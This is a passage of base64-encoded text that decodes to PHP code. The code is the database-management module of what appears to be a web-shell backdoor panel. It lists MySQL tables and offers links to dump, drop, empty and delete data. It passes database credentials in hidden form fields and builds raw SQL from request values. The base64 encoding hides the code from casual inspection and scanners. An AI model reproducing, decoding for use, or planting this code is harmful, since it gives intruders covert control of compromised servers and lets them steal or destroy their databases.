ZW1wdHkoJHNxbF90YmwpKSB7CiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9CiAgICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7CiAgICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQogICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQogICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7CiAgICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30KICAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsKICAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsKICAgICAgaWYgKGNvdW50KCRlKSA9PSAyKSB7CiAgICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9CiAgICAgICAgZWxzZSB7JGFzY19kZXNjID0gIkFTQyI7fQogICAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICAgICAgfQogICAgICBlbHNlIHskdiA9ICIiO30KICAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9jZW50ZXI+IjsKICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1zdHJ1Y3R1cmVcIj5bPGI+IFN0cnVjdHVyZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfeD10YmxkdW1wJnRoaXN0Ymw9MVwiPls8Yj4gRHVtcCA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsKICAgICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpIHsgIH0gLy9Ob3QgUmVhZHkKICAgICAgICBlbHNlIHsKICAgICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsKICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7CiAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7CiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7CiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7CiAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOwogICAgICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7CiAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQogICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0YWJsZSB3aWR0aD1cIjElXCIgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgewogICAgICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwogICAgICAgICAgICAkaSsrOwogICAgICAgICAgfQogICAgICAgICAgZWNobyAiPC90YWJsZT48YnI+IjsKICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9CiAgICAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPiI7CiAgICAgICAgfQogICAgICB9CiAgICAgIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7CiAgICAgICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOwogICAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsKICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOwogICAgICAgICRiID0gMDsKICAgICAgICBmb3IoJGk9MDskaTwkbnVtcGFnZXM7JGkrKykgewogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgICAgICAgICBlY2hvICRpOwogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9CiAgICAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogICAgICAgICAgZWxzZSB7ZWNobyAiJm5ic3A7Ijt9CiAgICAgICAgfQogICAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7CiAgICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7CiAgICAgICAgZWNobyAiPHRyPiI7CiAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsKICAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7CiAgICAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7CiAgICAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQogICAgICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICAgICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30KICAgICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9CiAgICAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICAgICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgICB9CiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgJHcgPSAiIjsKICAgICAgICRpID0gMDsKICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9CiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikKICAgICAgIHsKICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOwogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX3g9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgIH0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgfQogICAgfQogICAgZWxzZSB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICAgIGVsc2UKICAgICB7CiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsKICAgICAgJGkgPSAwOwogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkKICAgICAgewogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOwogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7CiAgICAgICBlY2hvICI8dHI+IjsKICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOwogICAgICAgZWNobyAiPC90cj4iOwogICAgICAgJGkrKzsKICAgICAgfQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPis8L2I+PC9jZW50ZXI+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxiPiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cI